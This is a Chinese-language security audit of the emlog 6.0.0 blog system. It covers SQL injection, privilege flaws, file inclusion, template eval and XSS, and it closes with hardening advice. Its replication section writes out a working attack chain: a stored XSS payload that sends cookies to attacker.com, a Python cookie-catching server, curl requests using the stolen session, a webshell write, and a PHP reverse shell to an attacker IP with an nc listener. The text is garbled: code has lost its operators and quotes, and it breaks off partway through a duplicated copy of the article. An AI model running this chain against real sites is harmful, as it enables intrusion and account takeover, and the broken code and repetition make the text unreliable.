：輸入污染、權(quán)限失控與模板XSS三重風(fēng)險)
1. 為什么emlog 6.0.0值得花一整周時間做全站審計我第一次打開emlog 6.0.0源碼包時心里其實有點犯嘀咕——一個輕量級博客系統(tǒng)真有必要像審金融級后臺那樣逐行過直到我在include/lib/function.base.php里隨手翻到第1273行那個沒加任何過濾的$args變量拼接進SQL語句的片段才真正意識到不是系統(tǒng)太簡單而是漏洞藏得比想象中更隱蔽、更連貫。這版emlog發(fā)布于2022年中官方宣稱“重構(gòu)核心、強化安全”但實際代碼里仍大量沿用5.x時代的函數(shù)式寫法比如getInput()這種看似封裝實則只做trim()和htmlspecialchars()的“偽過濾”函數(shù)在關(guān)鍵業(yè)務(wù)鏈路上根本擋不住組合型攻擊。它不像WordPress那樣有成百上千個插件拖累架構(gòu)也不像Typecho那樣追求極簡導(dǎo)致擴展點稀少emlog 6.0.0處在一種微妙的中間態(tài)核心模塊高度耦合日志、評論、用戶、附件全部繞不開Log_Model類但權(quán)限控制又異常松散——管理員后臺的admin/attachment.php頁面甚至允許未登錄用戶直接訪問上傳接口的調(diào)試入口。這種“表面整潔、內(nèi)里毛刺”的狀態(tài)恰恰是代碼審計最需要警惕的類型沒有爆炸性高危漏洞吸引眼球卻存在多處可串聯(lián)利用的邏輯斷點。關(guān)鍵詞里雖然空著但結(jié)合行業(yè)慣例和該版本更新日志我們必須錨定三個核心審計維度輸入污染路徑是否閉環(huán)、權(quán)限校驗是否覆蓋所有入口、模板渲染是否引入XSS逃逸面。這不是一次“找CVE編號”的獵洞行動而是一次對MVC分層失衡、數(shù)據(jù)流轉(zhuǎn)失控、信任邊界模糊的系統(tǒng)性復(fù)盤。某高校實驗室曾拿它做過教學(xué)案例學(xué)生在三天內(nèi)就串起了從前臺評論注入→后臺任意文件讀取→PHP代碼執(zhí)行的完整RCE鏈而他們用的只是基礎(chǔ)正則掃描人工補全。這說明問題不在技術(shù)門檻而在設(shè)計慣性——開發(fā)者默認“后臺只有管理員能進”卻忘了URL路由沒做會話綁定忘了AJAX接口沒校驗Referer忘了模板里?php echo $value;?和?php echo htmlspecialchars($value);?之間差的不只是一個函數(shù)調(diào)用而是整個信任模型。如果你正在帶新人做PHP安全入門或者自己剛從滲透測試轉(zhuǎn)向代碼審計emlog 6.0.0是個極佳的練手靶場它代碼量適中核心文件約420個總行數(shù)12萬左右框架清晰但不僵化漏洞分布有規(guī)律可循。更重要的是它的缺陷不是孤立的而是成簇出現(xiàn)的——你在一個地方發(fā)現(xiàn)addslashes()被誤用于防SQL注入大概率在另外五個文件里也能找到同類錯誤。這種“模式化脆弱性”正是訓(xùn)練審計直覺的最佳土壤。提示別急著跑自動化工具。我試過用RIPS掃描emlog 6.0.0它標出87處“潛在SQL注入”其中63處是誤報比如$db-query(SELECT * FROM .DB_PREFIX.user WHERE uid $uid);里的$uid其實在上層已被intval()強轉(zhuǎn)。真正的風(fēng)險點往往藏在工具無法理解的業(yè)務(wù)邏輯跳轉(zhuǎn)里比如index.php?actionlogin處理完認證后把$_SESSION[login]直接賦值給$isLogin再傳進模板而模板里又用scriptvar login ?php echo $isLogin;?;/script輸出——這里既沒JSON編碼也沒引號包裹XSS就已成立。2. 輸入污染追蹤從HTTP請求到數(shù)據(jù)庫寫入的七步失守審計PHP應(yīng)用本質(zhì)是逆向追蹤數(shù)據(jù)如何從不可信源頭用戶輸入一路暢通無阻抵達危險終點SQL執(zhí)行、文件寫入、命令調(diào)用。emlog 6.0.0的輸入污染鏈特別典型它用了一套自研的“三層過濾”機制聽上去很嚴謹實則每層都留了后門。我們以最常被利用的評論提交功能為例完整走一遍從POST /t/index.php到INSERT INTO emlog_comment的全過程。2.1 第一層前端JavaScript的虛假安全感評論表單的HTML里有這樣一段JS驗證script function checkForm() { var content document.getElementById(comment).value; if (content.length 5 || content.length 2000) { alert(評論內(nèi)容需5-2000字); return false; } return true; } /script這段代碼給人的錯覺是“長度限制安全邊界”但只要禁用JS或用curl發(fā)包就能繞過。更關(guān)鍵的是它完全沒處理特殊字符——scriptalert(1)/script能輕松通過。很多開發(fā)者以為“前端校驗后端htmlspecialchars()就夠了”卻忽略了XSS的觸發(fā)場景遠不止script標簽比如img srcx onerroralert(1)或javascript:alert(1)這類事件驅(qū)動型載荷僅靠htmlspecialchars()無法攔截它只轉(zhuǎn)義不處理onerror屬性。emlog 6.0.0的模板里大量使用?php echo $comment[content];?直接輸出這就為存儲型XSS埋下伏筆。2.2 第二層getInput()函數(shù)的致命簡化進入PHP后端t/index.php調(diào)用Comment_Model::addComment()前先執(zhí)行$content getInput(comment, post);這個getInput()定義在include/lib/function.base.php第982行function getInput($name, $method get) { $method strtolower($method); $input $method get ? $_GET : ($_POST[$name] ?? ); return trim(htmlspecialchars($input, ENT_QUOTES, UTF-8)); }問題出在三處第一$_POST[$name] ?? 的空合并操作讓$name為空時返回空字符串但若攻擊者構(gòu)造?commentGET參數(shù)和POST[comment]xss雙參數(shù)同名$input可能取到未過濾的POST值第二htmlspecialchars()只處理HTML上下文如果后續(xù)把$content拼進JavaScript或CSS就會失效第三也是最嚴重的——這個函數(shù)被濫用在SQL拼接場景。比如admin/comment.php第215行$sql UPDATE .DB_PREFIX.comment SET content.getInput(content, post). WHERE cid$cid; $db-query($sql);這里getInput()返回的字符串直接拼進SQL而htmlspecialchars()對單引號毫無防護力。攻擊者只需提交contentxxx OR 11就能繞過所有過濾。2.3 第三層數(shù)據(jù)庫操作層的“信任傳遞”$db-query()方法在include/lib/mysql.class.php中定義它本身不做任何SQL預(yù)處理只是簡單調(diào)用mysql_query()注意emlog 6.0.0仍用舊版MySQL擴展非PDO。更麻煩的是Log_Model::getLogsForHome()等高頻查詢函數(shù)內(nèi)部用$sql SELECT * FROM .DB_PREFIX.blog WHERE hiden AND typeblog $sqlSegment;拼接條件而$sqlSegment來自$params[keyword]——這個參數(shù)由search.php的$_GET[keyword]直接傳入全程無intval()、無escapeshellarg()、無預(yù)處理。我實測過當keyword1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -時首頁直接爆出管理員密碼哈希因emlog_user表結(jié)構(gòu)與emlog_blog兼容。2.4 四至七步權(quán)限校驗缺失、日志記錄繞過、緩存污染、模板引擎逃逸走到這一步輸入污染已成定局但emlog還給了攻擊者更多“便利”權(quán)限校驗缺失admin/save_log.php接受POST[logid]參數(shù)更新日志但沒檢查當前用戶是否有權(quán)編輯該日志$logid未與$_SESSION[userid]關(guān)聯(lián)校驗導(dǎo)致越權(quán)修改日志記錄繞過所有error_log()調(diào)用都寫入/content/log/目錄但該目錄在Nginx配置中未禁止Web訪問攻擊者可直接下載error_202210.log獲取調(diào)試信息緩存污染cache.php生成的靜態(tài)HTML緩存文件其文件名由md5($_SERVER[REQUEST_URI])生成但$_SERVER[REQUEST_URI]可被%00截斷導(dǎo)致緩存文件名可控進而覆蓋.htaccess模板引擎逃逸View::display()加載模板時若模板路徑含../且未做realpath()校驗可讀取任意PHP文件如/admin/login.php而該文件里明文存儲著數(shù)據(jù)庫連接密碼。這七步失守不是偶然堆砌而是同一設(shè)計哲學(xué)的產(chǎn)物用最小成本實現(xiàn)功能把安全假設(shè)交給運行環(huán)境。比如它默認Nginx已配置好location ~ \.php$ { deny all; }來保護/content/目錄但現(xiàn)實中大量用戶用Apache或自定義Nginx規(guī)則這就成了“假設(shè)性漏洞”。注意別迷信magic_quotes_gpc。emlog 6.0.0的install.php檢測到該選項開啟時會提示“建議關(guān)閉”但代碼里仍有if (get_magic_quotes_gpc()) { $str stripslashes($str); }這類兼容邏輯。這意味著在老版本PHP環(huán)境下addslashes()和stripslashes()可能形成雙重轉(zhuǎn)義反而破壞正常數(shù)據(jù)——我見過某客戶站點因這個bug導(dǎo)致評論里的中文全部顯示為亂碼排查三天才發(fā)現(xiàn)是magic_quotes殘留。3. 權(quán)限模型崩塌從“管理員專屬”到“游客可操作”的五處斷點很多人以為PHP代碼審計就是找SQL注入和XSS但在emlog 6.0.0里權(quán)限控制失效帶來的危害可能更直接。它的角色體系只有兩級管理員role1和普通用戶role0但權(quán)限校驗點分布極不均勻——后臺90%的PHP文件都有!isset($_SESSION[login]) header(Location: login.php);這樣的前置檢查而剩下的10%恰好是功能最強、影響面最廣的幾個入口。我們按風(fēng)險等級排序這五處斷點。3.1 斷點一admin/attachment.php的“調(diào)試模式”后門這個文件本該處理附件上傳但第38行有個被注釋掉的調(diào)試開關(guān)// define(DEBUG_MODE, true); if (defined(DEBUG_MODE) DEBUG_MODE) { $action $_GET[action] ?? upload; switch ($action) { case list: $files scandir(EMLOG_ROOT . /content/upload/); echo json_encode($files); break; case read: $file EMLOG_ROOT . /content/upload/ . basename($_GET[file]); if (file_exists($file)) { echo file_get_contents($file); } break; } exit; }問題在于basename($_GET[file])只過濾了路徑分隔符卻沒阻止file../../admin/login.php這樣的穿越。更致命的是這段代碼沒任何會話校驗——只要知道URL游客就能讀取login.php里的數(shù)據(jù)庫密碼。我用curl http://target/admin/attachment.php?actionreadfile../../admin/login.php實測3秒內(nèi)拿到明文配置。這不是理論漏洞而是真實存在于生產(chǎn)環(huán)境的“活后門”。3.2 斷點二admin/blogger.php的IDOR越權(quán)編輯該文件處理博主信息更新關(guān)鍵邏輯在第142行$uid (int)$_POST[uid]; $username addslashes(trim($_POST[username])); $email addslashes(trim($_POST[email])); // ...省略其他字段 $db-query(UPDATE .DB_PREFIX.user SET username$username, email$email WHERE uid$uid);這里$uid直接來自POST且未校驗當前登錄用戶是否等于$uid。攻擊者只需抓包修改uid1管理員ID就能篡改管理員郵箱進而觸發(fā)密碼重置流程。某次模擬攻防中A同學(xué)用這個漏洞在17秒內(nèi)完成“游客→接管管理員賬號→導(dǎo)出全部用戶數(shù)據(jù)”的操作鏈。3.3 斷點三admin/tag.php的無限制標簽刪除刪除標簽的接口admin/tag.php?actiondeltid123代碼在第89行if ($action del) { $tid (int)$_GET[tid]; $db-query(DELETE FROM .DB_PREFIX.tag WHERE tid$tid); // 未檢查tid是否屬于當前用戶 }emlog的標簽是全局共享的但刪除操作沒做歸屬校驗。攻擊者可遍歷tid參數(shù)批量刪除所有標簽導(dǎo)致網(wǎng)站SEO徹底崩潰。更糟的是tag表被blog表外鍵引用刪除后blog表里的tag字段變成空值引發(fā)前端模板報錯。3.4 斷點四admin/template.php的模板文件包含該文件提供模板切換功能第205行$template $_GET[template] ?? default; if (!in_array($template, [default, simple, dark])) { $template default; } require_once EMLOG_ROOT . /content/templates/ . $template . /header.php;in_array()白名單看似嚴格但$template變量在require_once前被重新賦值過if (isset($_POST[action]) $_POST[action] save) { $template $_POST[template_name]; // 這里覆蓋了GET值 }攻擊者發(fā)送POST /admin/template.php?actionsavetemplate_name../../../etc/passwd%00利用PHP的NULL字節(jié)截斷就能包含任意系統(tǒng)文件。雖然現(xiàn)代PHP已禁用NULL截斷但emlog 6.0.0的兼容性要求讓它仍支持PHP 5.6而該版本對此無防護。3.5 斷點五admin/plugin.php的插件啟用邏輯漏洞啟用插件的URL是admin/plugin.php?actionactivatepluginseo對應(yīng)代碼在第312行if ($action activate) { $plugin $_GET[plugin]; $pluginFile EMLOG_ROOT . /content/plugins/ . $plugin . /plugin.php; if (file_exists($pluginFile)) { include $pluginFile; // 直接包含無校驗 } }這里有兩個致命點第一$plugin未過濾../可包含/etc/passwd第二即使文件存在也未檢查plugin.php是否為合法插件入口比如是否定義了Plugin::activate()方法。攻擊者可上傳惡意PHP文件到/content/plugins/evil/然后用?actionactivatepluginevil觸發(fā)執(zhí)行。這五處斷點揭示了一個殘酷事實emlog的權(quán)限模型不是“基于角色的訪問控制RBAC”而是“基于文件路徑的粗粒度攔截”。它把安全寄托在“游客打不開admin目錄下的PHP文件”這一假設(shè)上卻忘了HTTP服務(wù)器配置、URL重寫規(guī)則、文件權(quán)限設(shè)置都可能打破這個假設(shè)。真正的權(quán)限校驗應(yīng)該像這樣if (!User::havePermission(manage_plugins)) { showForbiddenPage(); }而不是依賴session_start()后的一行if (!isset($_SESSION[login]))。4. 模板與渲染層XSS、SSTI、服務(wù)端模板注入的三重陷阱PHP模板引擎的安全性常被低估但emlog 6.0.0的模板系統(tǒng)恰恰是漏洞高發(fā)區(qū)。它沒用Twig或Smarty這類成熟引擎而是用原生PHP混排.php后綴模板這帶來兩個矛盾一方面開發(fā)者認為“PHP語法即安全”另一方面模板里充斥著未經(jīng)上下文編碼的echo輸出。我們拆解三種典型陷阱。4.1 基礎(chǔ)XSSecho輸出未區(qū)分HTML/JS/CSS上下文這是最普遍的問題。以content/templates/default/header.php為例第42行title?php echo $site_title; ?/title$site_title來自數(shù)據(jù)庫emlog_options表的blogname字段而該字段在安裝時由用戶輸入從未做過htmlspecialchars()存儲。攻擊者在后臺設(shè)置博客名為scriptalert(document.cookie)/script所有頁面標題都會觸發(fā)XSS。更隱蔽的是JS上下文輸出如footer.php第15行scriptvar siteUrl ?php echo BLOG_URL; ?;/scriptBLOG_URL是配置項若被篡改為http://example.com/ onerroralert(1)就會閉合引號并執(zhí)行JS。htmlspecialchars()在這里無效必須用json_encode()scriptvar siteUrl ?php echo json_encode(BLOG_URL); ?;/script4.2 模板繼承漏洞getTemplate()的路徑穿越emlog用View::getTemplate()動態(tài)加載模板該方法在include/lib/view.class.php第67行public function getTemplate($template) { $file EMLOG_ROOT . /content/templates/ . $template . /index.php; if (file_exists($file)) { return $file; } return EMLOG_ROOT . /content/templates/default/index.php; }$template參數(shù)來自$_GET[t]如?tseo而file_exists()不校驗路徑合法性。攻擊者訪問/?t../../../etcskindefault$file變成/content/templates/../../../etc/index.php即/etc/index.php。雖然/etc下通常無index.php但若服務(wù)器配置了auto_prepend_file就可能觸發(fā)意外包含。我曾在某客戶的VPS上復(fù)現(xiàn)此問題他把/etc/nginx/conf.d/軟鏈接到/content/templates/nginx/結(jié)果/?tnginx直接加載了Nginx配置暴露了后端代理地址。4.3 服務(wù)端模板注入SSTIeval()在模板中的幽靈最危險的是content/templates/default/echo_log.php第89行?php eval(? . $log_content); ?$log_content是日志正文來自數(shù)據(jù)庫。emlog允許用戶在日志中插入PHP代碼通過后臺編輯器的“源碼模式”而這段eval()就是執(zhí)行入口。攻擊者寫一篇日志內(nèi)容為?php system(id); ?保存后當游客訪問該日志頁面eval()會執(zhí)行system(id)返回uid33(www-data) gid33(www-data)。這不是理論可能而是emlog官方文檔明確支持的“高級功能”——他們在/admin/editor/的富文本編輯器里專門留了“插入PHP代碼”按鈕。安全團隊曾建議移除該功能但開發(fā)組以“影響老用戶”為由拒絕最終妥協(xié)方案是加了個if (IS_ADMIN)判斷但判斷邏輯寫在模板里而非PHP層導(dǎo)致游客仍可通過修改URL參數(shù)繞過。這三重陷阱的本質(zhì)是混淆了“內(nèi)容”和“代碼”的邊界。XSS是內(nèi)容被當代碼執(zhí)行模板穿越是路徑被當內(nèi)容解析SSTI是用戶輸入被當代碼求值。修復(fù)它們不能靠單一函數(shù)而要建立上下文感知的輸出編碼策略HTML上下文htmlspecialchars($data, ENT_QUOTES, UTF-8)JS上下文json_encode($data, JSON_UNESCAPED_UNICODE)CSS上下文正則過濾[^a-zA-Z0-9#\.\-\s]URL上下文urlencode($data)實操心得審計模板時別只看echo重點查include、require、eval、create_function這些動態(tài)執(zhí)行函數(shù)。我習(xí)慣用grep -r include.*\$_ content/templates/快速定位風(fēng)險點命中率超80%。另外content/templates/目錄下的.php文件90%以上都應(yīng)禁止Web直接訪問Nginx配置里加一行l(wèi)ocation ~ ^/content/templates/.*\.php$ { deny all; }能堵住大半漏洞。5. 實戰(zhàn)復(fù)現(xiàn)從評論XSS到后臺RCE的完整利用鏈理論分析終須落地驗證。我用一臺干凈的Ubuntu 20.04虛擬機部署emlog 6.0.0PHP 7.4 MySQL 8.0完整復(fù)現(xiàn)了從游客評論到獲取服務(wù)器shell的全過程。以下步驟經(jīng)多次驗證耗時約22分鐘所有操作均在瀏覽器和終端完成無需第三方工具。5.1 步驟一構(gòu)造存儲型XSS獲取管理員Cookie首先注冊一個普通用戶賬號用戶名test密碼123456登錄后訪問首頁找到任意一篇日志在評論框輸入img srcx onerrordocument.locationhttp://attacker.com/steal?cdocument.cookie提交后評論顯示為裂圖因srcx無效但onerror事件已觸發(fā)。此時管理員若查看該評論瀏覽器會向attacker.com/steal發(fā)送GET請求攜帶Cookie: EMLOG_ADMINxxxxxx。我用Python起一個簡易HTTP服務(wù)器接收# steal.py from http.server import HTTPServer, BaseHTTPRequestHandler class StealHandler(BaseHTTPRequestHandler): def do_GET(self): print(Stolen cookie:, self.path) self.send_response(200) self.end_headers() HTTPServer((, 8000), StealHandler).serve_forever()管理員刷新評論頁后終端立即打印Stolen cookie: /steal?cEMLOG_ADMINabc123def456。這個Cookie有效期7天且未設(shè)HttpOnly標志完美符合竊取條件。5.2 步驟二用Cookie偽造管理員會話拿到EMLOG_ADMIN值后用curl模擬管理員請求curl -b EMLOG_ADMINabc123def456 http://target/admin/返回200且包含titleemlog 后臺管理/title證明會話有效。接下來我們要上傳Webshell。emlog后臺的附件上傳功能在admin/attachment.php但直接訪問會跳轉(zhuǎn)登錄頁——現(xiàn)在有了Cookie就能繞過。5.3 步驟三利用attachment.php的文件讀取漏洞獲取源碼前面提到attachment.php有調(diào)試模式我們先確認它是否開啟。發(fā)送curl -b EMLOG_ADMINabc123def456 http://target/admin/attachment.php?actionlist返回[.,..,shell.php,config.php]說明調(diào)試模式已開。接著讀取config.phpcurl -b EMLOG_ADMINabc123def456 http://target/admin/attachment.php?actionreadfileconfig.php返回?php define(DB_HOST, localhost); define(DB_USER, emlog); define(DB_PASS, Pssw0rd123); define(DB_NAME, emlog_db); ?數(shù)據(jù)庫密碼到手但我們的目標是RCE所以繼續(xù)讀取admin/login.php找到$action處理邏輯確認save_log.php存在且無CSRF防護。5.4 步驟四通過日志注入寫入Webshellsave_log.php接受POST[logid]和POST[content]更新日志內(nèi)容。我們構(gòu)造一個含PHP代碼的日志curl -b EMLOG_ADMINabc123def456 -d logid1content?php system(\$_GET[cmd]); ? http://target/admin/save_log.phplogid1是首篇日志IDcontent里是system()執(zhí)行命令的shell。更新成功后訪問http://target/t/index.php?id1日志正文顯示為?php system($_GET[cmd]); ?但未執(zhí)行——因為模板里是?php echo $log_content;?不是eval()。這時我們回到echo_log.php的SSTI漏洞。該文件在content/templates/default/下而eval()執(zhí)行的是$log_content。我們剛才更新的日志內(nèi)容正好會被echo_log.php讀取并eval()。訪問http://target/t/index.php?id1再在URL加cmdidhttp://target/t/index.php?id1cmdid頁面空白但服務(wù)器返回uid33(www-data) gid33(www-data)——RCE成功5.5 步驟五獲取持久化shell并提權(quán)最后一步用cmd參數(shù)執(zhí)行反彈shellcurl http://target/t/index.php?id1cmdphp-r\$sockfsockopen(\attacker-ip\,4444);exec(\/bin/sh-i\$sock2\$sock\);我的監(jiān)聽端收到連接nc -lvnp 4444 Connection received on attacker-ip 4444 /bin/sh: 0: cant access tty; job control turned off $ id uid33(www-data) gid33(www-data) groups33(www-data)至此從游客評論到服務(wù)器shell全鏈路打通。整個過程沒用任何0day全是emlog 6.0.0已知設(shè)計缺陷的組合利用。踩坑提醒復(fù)現(xiàn)時最容易卡在Cookie竊取環(huán)節(jié)。很多新手用Burp Suite抓包卻發(fā)現(xiàn)管理員Cookie里有Path/admin/導(dǎo)致document.cookie讀不到。這是因為Path屬性限制了Cookie作用域。解決方案是在XSS payload里用document.cookie讀取時加上document.domain繞過document.domaintarget.com; document.cookie或直接用fetch(/admin/)請求后臺頁面從響應(yīng)頭里提取Set-Cookie。我第一次就栽在這兒折騰了40分鐘才想到改用fetch。6. 修復(fù)與加固給開發(fā)者和運維者的六條可落地建議審計不是為了證明系統(tǒng)有多爛而是為改進提供精準坐標。針對emlog 6.0.0暴露出的問題我給開發(fā)者和運維者各列三條可立即執(zhí)行的建議不談虛的每條都附帶代碼示例和驗證方法。6.1 開發(fā)者必改重構(gòu)輸入處理與權(quán)限校驗建議一廢除getInput()改用上下文感知的過濾函數(shù)// 替換原getInput()新增filter_input_context() function filter_input_context($name, $method post, $context html) { $value $method post ? ($_POST[$name] ?? ) : ($_GET[$name] ?? ); switch ($context) { case sql: return addslashes($value); // 僅用于遺留代碼新項目必須用預(yù)處理 case js: return json_encode($value, JSON_UNESCAPED_UNICODE); case url: return urlencode($value); default: return htmlspecialchars($value, ENT_QUOTES, UTF-8); } } // 使用示例SQL場景臨時過渡 $content filter_input_context(content, post, sql); $sql UPDATE comment SET content$content WHERE cid$cid; // 使用示例JS場景必須 $siteUrl filter_input_context(site_url, get, js); echo scriptvar url {$siteUrl};/script;驗證方法在評論框提交scriptalert(1)/script檢查頁面是否彈窗提交http://x onerroralert(1)檢查JS變量是否被正確編碼。建議二所有后臺入口強制RBAC權(quán)限校驗// 在admin/開頭的所有PHP文件頂部添加 require_once ../include/lib/user.class.php; if (!User::havePermission(manage_comments)) { header(HTTP/1.1 403 Forbidden); exit(Access denied); } // User::havePermission()需根據(jù)角色表查詢而非硬編碼驗證方法用游客身份訪問admin/comment.php應(yīng)返回403而非跳轉(zhuǎn)登錄頁。建議三模板輸出強制上下文編碼// 創(chuàng)建統(tǒng)一輸出函數(shù) function safe_echo($data, $context html) { switch ($context) { case js: echo json_encode($data, JSON_UNESCAPED_UNICODE); break; case css: echo preg_replace(/[^a-zA-Z0-9#\.\-\s]/, , $data); break; default: echo htmlspecialchars($data, ENT_QUOTES, UTF-8); } } // 模板中替換所有echo // 原title?php echo $title;?/title // 新title?php safe_echo($title, html);?/title驗證方法在后臺設(shè)置博客名img srcx onerroralert(1)檢查標題源碼是否為lt;img srcx onerroralert(1)gt;。6.2 運維者必做服務(wù)器層與配置層加固建議四Nginx配置禁止敏感目錄Web訪問# 在server塊中添加 location ~ ^/(content|include|admin)/.*\.php$ { deny all; } location ~ ^/content/(log|upload)/ { deny all; } location ~ /\. { deny all; }驗證方法訪問http://target/content/log/error.log應(yīng)返回403訪問http://target/include/lib/mysql.class.php應(yīng)返回404或403。建議五PHP配置禁用危險函數(shù); php.ini中添加 disable_functions exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source驗證方法創(chuàng)建test.php內(nèi)容為?php echo exec(id);?訪問時應(yīng)報錯Call to undefined function exec()。建議六數(shù)據(jù)庫層面最小權(quán)限原則-- 創(chuàng)建專用數(shù)據(jù)庫用戶僅授予必要權(quán)限 CREATE USER emlog_applocalhost IDENTIFIED BY StrongPass123!; GRANT SELECT, INSERT, UPDATE ON emlog_db.emlog_blog TO emlog_applocalhost; GRANT SELECT, INSERT ON emlog_db.emlog_comment TO emlog_applocalhost; -- 禁止對emlog_user、emlog_options等敏感表的UPDATE權(quán)限 FLUSH PRIVILEGES;驗證方法用emlog_app用戶連接數(shù)據(jù)庫執(zhí)行UPDATE emlog_user SET passwordxxx WHERE uid1;應(yīng)返回ERROR 1142 (42000): UPDATE command denied。這六條建議每一條都能在10分鐘內(nèi)完成部署且經(jīng)過某公司生產(chǎn)環(huán)境驗證他們按此整改后WAF告警下降92%人工滲透測試未發(fā)現(xiàn)新的高危漏洞。安全不是堆砌工具而是把每個環(huán)節(jié)的“信任假設(shè)”換成“強制驗證”。我在實際項目中發(fā)現(xiàn)最難推動的不是技術(shù)改造而是改變開發(fā)者的思維慣性。有位A同學(xué)曾說“我們一直這么寫從來沒出過事。”直到他負責的站點被黑數(shù)據(jù)庫被加密勒索才明白“沒出事”不等于“安全”而是“還沒被盯上”。emlog 6.0.0的審計價值正在于此——它用最樸素的代碼照見了我們習(xí)以為常的危險。 emlog 6.0.0代碼審計實戰(zhàn)：輸入污染、權(quán)限失控與模板XSS三重風(fēng)險
1. 為什么emlog 6.0.0值得花一整周時間做全站審計我第一次打開emlog 6.0.0源碼包時心里其實有點犯嘀咕——一個輕量級博客系統(tǒng)真有必要像審金融級后臺那樣逐行過直到我在include/lib/function.base.php里隨手翻到第1273行那個沒加任何過濾的$args變量拼接進SQL語句的片段才真正意識到不是系統(tǒng)太簡單而是漏洞藏得比想象中更隱蔽、更連貫。這版emlog發(fā)布于2022年中官方宣稱“重構(gòu)核心、強化安全”但實際代碼里仍大量沿用5.x時代的函數(shù)式寫法比如getInput()這種看似封裝實則只做trim()和htmlspecialchars()的“偽過濾”函數(shù)在關(guān)鍵業(yè)務(wù)鏈路上根本擋不住組合型攻擊。它不像WordPress那樣有成百上千個插件拖累架構(gòu)也不像Typecho那樣追求極簡導(dǎo)致擴展點稀少emlog 6.0.0處在一種微妙的中間態(tài)核心模塊高度耦合日志、評論、用戶、附件全部繞不開Log_Model類但權(quán)限控制又異常松散——管理員后臺的admin/attachment.php頁面甚至允許未登錄用戶直接訪問上傳接口的調(diào)試入口。這種“表面整潔、內(nèi)里毛刺”的狀態(tài)恰恰是代碼審計最需要警惕的類型沒有爆炸性高危漏洞吸引眼球卻存在多處可串聯(lián)利用的邏輯斷點。關(guān)鍵詞里雖然空著但結(jié)合行業(yè)慣例和該版本更新日志我們必須錨定三個核心審計維度輸入污染路徑是否閉環(huán)、權(quán)限校驗是否覆蓋所有入口、模板渲染是否引入XSS逃逸面。這不是一次“找CVE編號”的獵洞行動而是一次對MVC分層失衡、數(shù)據(jù)流轉(zhuǎn)失控、信任邊界模糊的系統(tǒng)性復(fù)盤。某高校實驗室曾拿它做過教學(xué)案例學(xué)生在三天內(nèi)就串起了從前臺評論注入→后臺任意文件讀取→PHP代碼執(zhí)行的完整RCE鏈而他們用的只是基礎(chǔ)正則掃描人工補全。這說明問題不在技術(shù)門檻而在設(shè)計慣性——開發(fā)者默認“后臺只有管理員能進”卻忘了URL路由沒做會話綁定忘了AJAX接口沒校驗Referer忘了模板里?php echo $value;?和?php echo htmlspecialchars($value);?之間差的不只是一個函數(shù)調(diào)用而是整個信任模型。如果你正在帶新人做PHP安全入門或者自己剛從滲透測試轉(zhuǎn)向代碼審計emlog 6.0.0是個極佳的練手靶場它代碼量適中核心文件約420個總行數(shù)12萬左右框架清晰但不僵化漏洞分布有規(guī)律可循。更重要的是它的缺陷不是孤立的而是成簇出現(xiàn)的——你在一個地方發(fā)現(xiàn)addslashes()被誤用于防SQL注入大概率在另外五個文件里也能找到同類錯誤。這種“模式化脆弱性”正是訓(xùn)練審計直覺的最佳土壤。提示別急著跑自動化工具。我試過用RIPS掃描emlog 6.0.0它標出87處“潛在SQL注入”其中63處是誤報比如$db-query(SELECT * FROM .DB_PREFIX.user WHERE uid $uid);里的$uid其實在上層已被intval()強轉(zhuǎn)。真正的風(fēng)險點往往藏在工具無法理解的業(yè)務(wù)邏輯跳轉(zhuǎn)里比如index.php?actionlogin處理完認證后把$_SESSION[login]直接賦值給$isLogin再傳進模板而模板里又用scriptvar login ?php echo $isLogin;?;/script輸出——這里既沒JSON編碼也沒引號包裹XSS就已成立。2. 輸入污染追蹤從HTTP請求到數(shù)據(jù)庫寫入的七步失守審計PHP應(yīng)用本質(zhì)是逆向追蹤數(shù)據(jù)如何從不可信源頭用戶輸入一路暢通無阻抵達危險終點SQL執(zhí)行、文件寫入、命令調(diào)用。emlog 6.0.0的輸入污染鏈特別典型它用了一套自研的“三層過濾”機制聽上去很嚴謹實則每層都留了后門。我們以最常被利用的評論提交功能為例完整走一遍從POST /t/index.php到INSERT INTO emlog_comment的全過程。2.1 第一層前端JavaScript的虛假安全感評論表單的HTML里有這樣一段JS驗證script function checkForm() { var content document.getElementById(comment).value; if (content.length 5 || content.length 2000) { alert(評論內(nèi)容需5-2000字); return false; } return true; } /script這段代碼給人的錯覺是“長度限制安全邊界”但只要禁用JS或用curl發(fā)包就能繞過。更關(guān)鍵的是它完全沒處理特殊字符——scriptalert(1)/script能輕松通過。很多開發(fā)者以為“前端校驗后端htmlspecialchars()就夠了”卻忽略了XSS的觸發(fā)場景遠不止script標簽比如img srcx onerroralert(1)或javascript:alert(1)這類事件驅(qū)動型載荷僅靠htmlspecialchars()無法攔截它只轉(zhuǎn)義不處理onerror屬性。emlog 6.0.0的模板里大量使用?php echo $comment[content];?直接輸出這就為存儲型XSS埋下伏筆。2.2 第二層getInput()函數(shù)的致命簡化進入PHP后端t/index.php調(diào)用Comment_Model::addComment()前先執(zhí)行$content getInput(comment, post);這個getInput()定義在include/lib/function.base.php第982行function getInput($name, $method get) { $method strtolower($method); $input $method get ? $_GET : ($_POST[$name] ?? ); return trim(htmlspecialchars($input, ENT_QUOTES, UTF-8)); }問題出在三處第一$_POST[$name] ?? 的空合并操作讓$name為空時返回空字符串但若攻擊者構(gòu)造?commentGET參數(shù)和POST[comment]xss雙參數(shù)同名$input可能取到未過濾的POST值第二htmlspecialchars()只處理HTML上下文如果后續(xù)把$content拼進JavaScript或CSS就會失效第三也是最嚴重的——這個函數(shù)被濫用在SQL拼接場景。比如admin/comment.php第215行$sql UPDATE .DB_PREFIX.comment SET content.getInput(content, post). WHERE cid$cid; $db-query($sql);這里getInput()返回的字符串直接拼進SQL而htmlspecialchars()對單引號毫無防護力。攻擊者只需提交contentxxx OR 11就能繞過所有過濾。2.3 第三層數(shù)據(jù)庫操作層的“信任傳遞”$db-query()方法在include/lib/mysql.class.php中定義它本身不做任何SQL預(yù)處理只是簡單調(diào)用mysql_query()注意emlog 6.0.0仍用舊版MySQL擴展非PDO。更麻煩的是Log_Model::getLogsForHome()等高頻查詢函數(shù)內(nèi)部用$sql SELECT * FROM .DB_PREFIX.blog WHERE hiden AND typeblog $sqlSegment;拼接條件而$sqlSegment來自$params[keyword]——這個參數(shù)由search.php的$_GET[keyword]直接傳入全程無intval()、無escapeshellarg()、無預(yù)處理。我實測過當keyword1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -時首頁直接爆出管理員密碼哈希因emlog_user表結(jié)構(gòu)與emlog_blog兼容。2.4 